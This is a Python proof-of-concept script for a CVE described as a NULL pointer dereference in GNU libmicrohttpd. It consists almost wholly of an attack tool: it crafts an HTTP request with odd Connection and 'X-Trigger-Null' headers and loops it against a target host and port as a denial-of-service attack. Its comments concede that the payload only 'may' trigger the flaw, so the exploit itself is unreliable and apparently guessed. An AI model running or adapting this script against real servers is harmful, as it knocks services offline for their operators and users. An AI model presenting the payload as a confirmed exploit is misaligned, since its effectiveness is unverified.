CVE-2025-62689

// CVE-2025-62689 PoC - NULL Pointer Dereference in GNU libmicrohttpd // This PoC demonstrates sending a crafted HTTP request that triggers the vulnerability import socket import sys def send_malicious_request(target_host, target_port, path="/"): """ Send a specially crafted HTTP request to trigger NULL pointer dereference in GNU libmicrohttpd <= v1.0.2 """ # Crafted request with specific headers that may trigger the NULL pointer condition # The exact payload may vary based on the specific code path malicious_request = f"GET {path} HTTP/1.1\r\n" malicious_request += "Host: " + target_host + "\r\n" malicious_request += "Accept: */*\r\n" # Multiple Connection headers might trigger edge cases malicious_request += "Connection: close, keep-alive\r\n" malicious_request += "X-Trigger-Null: yes\r\n" malicious_request += "\r\n" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_host, target_port)) print(f"[*] Sending malicious request to {target_host}:{target_port}") sock.send(malicious_request.encode('utf-8')) # Wait for response response = sock.recv(4096) print(f"[*] Received response: {response[:100]}") sock.close() return True except Exception as e: print(f"[!] Error: {e}") return False def dos_attack(target_host, target_port, duration=60): """ Denial of Service attack - continuously send malicious requests """ import time print(f"[*] Starting DoS attack on {target_host}:{target_port}") start_time = time.time() request_count = 0 while time.time() - start_time < duration: if send_malicious_request(target_host, target_port): request_count += 1 time.sleep(0.1) # Small delay between requests print(f"[*] Attack completed. Sent {request_count} malicious requests") if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve_2025_62689_poc.py <target_host> <target_port> [duration]") sys.exit(1) host = sys.argv[1] port = int(sys.argv[2]) duration = int(sys.argv[3]) if len(sys.argv) > 3 else 60 dos_attack(host, port, duration)

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